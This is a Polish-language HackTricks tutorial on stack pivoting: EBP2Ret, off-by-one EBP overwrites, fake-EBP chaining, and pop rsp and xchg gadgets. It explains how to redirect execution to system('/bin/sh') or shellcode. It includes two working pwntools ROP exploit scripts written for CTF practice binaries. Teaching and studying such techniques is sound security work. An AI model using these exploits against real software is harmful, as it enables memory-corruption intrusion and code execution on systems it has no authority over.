# Stack Pivoting - EBP2Ret - EBP chaining {{#include ../../../banners/hacktricks-training.md}} ## Basic Information Ta technika wykorzystuje możliwość manipulacji **Wskaźnikiem Bazowym (EBP)** do łączenia wykonania wielu funkcji poprzez staranne użycie rejestru EBP oraz sekwencji instrukcji `leave; ret`. Przypominając, **`leave`** zasadniczo oznacza: ``` mov esp, ebp pop ebp ret ``` I jako że **EBP znajduje się na stosie** przed EIP, możliwe jest jego kontrolowanie poprzez kontrolowanie stosu. ### EBP2Ret Ta technika jest szczególnie przydatna, gdy możesz **zmienić rejestr EBP, ale nie masz bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonywania. Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stos, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawione na to skonstruowane miejsce, a następna operacja `pop` zmniejsza ESP o 4, **efektywnie wskazując na adres przechowywany przez atakującego.**\ Zauważ, że **musisz znać 2 adresy**: Ten, na który ESP ma wskoczyć, gdzie będziesz musiał zapisać adres, na który wskazuje ESP. #### Budowa Exploita Najpierw musisz znać **adres, w którym możesz zapisać dowolne dane/adresy**. ESP będzie wskazywać tutaj i **wykona pierwszy `ret`**. Następnie musisz znać adres używany przez `ret`, który **wykona dowolny kod**. Możesz użyć: - Ważnego [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu. - Adresu **`system()`** po którym następują **4 bajty śmieci** i adres `"/bin/sh"` (x86 bits). - Adresu **`jump esp;`** gadgetu ([**ret2esp**](ret2esp-ret2reg.md)) po którym następuje **shellcode** do wykonania. - Jakiegoś [**ROP**](rop-return-oriented-programing.md) łańcucha. Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** z powodu części **`pop`** instrukcji `leave`. Możliwe byłoby wykorzystanie tych 4B do ustawienia **drugiego fałszywego EBP** i kontynuowania kontroli nad wykonaniem. #### Exploit Off-By-One Istnieje specyficzna wariant tej techniki znana jako "Off-By-One Exploit". Jest używana, gdy możesz **zmodyfikować tylko najmniej znaczący bajt EBP**. W takim przypadku lokalizacja pamięci przechowująca adres, do którego należy skoczyć z **`ret`**, musi dzielić pierwsze trzy bajty z EBP, co pozwala na podobną manipulację w bardziej ograniczonych warunkach. ### **Łańcuchowanie EBP** Dlatego umieszczając kontrolowany adres w wpisie `EBP` na stosie i adres do `leave; ret` w `EIP`, możliwe jest **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**. Teraz **`ESP`** jest kontrolowane, wskazując na pożądany adres, a następna instrukcja do wykonania to `RET`. Aby to wykorzystać, można umieścić w kontrolowanym miejscu ESP to: - **`&(next fake EBP)`** -> Załaduj nowy EBP z powodu `pop ebp` z instrukcji `leave` - **`system()`** -> Wywołane przez `ret` - **`&(leave;ret)`** -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i zacznie od nowa - **`&("/bin/sh")`**-> Parametr dla `system` W zasadzie w ten sposób można łańcuchować kilka fałszywych EBP, aby kontrolować przepływ programu. To jest jak [ret2lib](ret2lib/), ale bardziej skomplikowane bez oczywistych korzyści, ale może być interesujące w niektórych skrajnych przypadkach. Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu**, aby wywołać zwycięską funkcję. To jest końcowy ładunek z tej strony: ```python from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) log.success(f'Buffer: {hex(buffer)}') LEAVE_RET = 0x40117c POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( 0x0, # rbp (could be the address of anoter fake RBP) POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload += flat( buffer, # Load leak address in RBP LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` ## EBP jest bezużyteczny Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarka jest kompilowana z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, dlatego każdy exploit działający poprzez kontrolowanie EBP zasadniczo się nie powiedzie, ponieważ nie ma rzeczywistego efektu.\ Dzieje się tak, ponieważ **prolog i epilog zmieniają się**, jeśli binarka jest zoptymalizowana. - **Nie zoptymalizowane:** ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp sub $0x100,%esp # increase stack size . . . leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` - **Optymalizowane:** ```bash push %ebx # save ebx sub $0x100,%esp # increase stack size . . . add $0x10c,%esp # reduce stack size pop %ebx # restore ebx ret # return ``` ## Inne sposoby kontrolowania RSP ### **`pop rsp`** gadget [**Na tej stronie**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był **gadget `pop rsp`** i był **leak ze stosu**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user log.success(f'Buffer: {hex(buffer)}') POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( 0, # r13 0, # r14 0, # r15 POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, # r15 elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( POP_CHAIN, buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` ### xchg \, rsp gadget ``` pop <=== return pointer xchg , rsp ``` ## Odniesienia - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) {{#include ../../../banners/hacktricks-training.md}}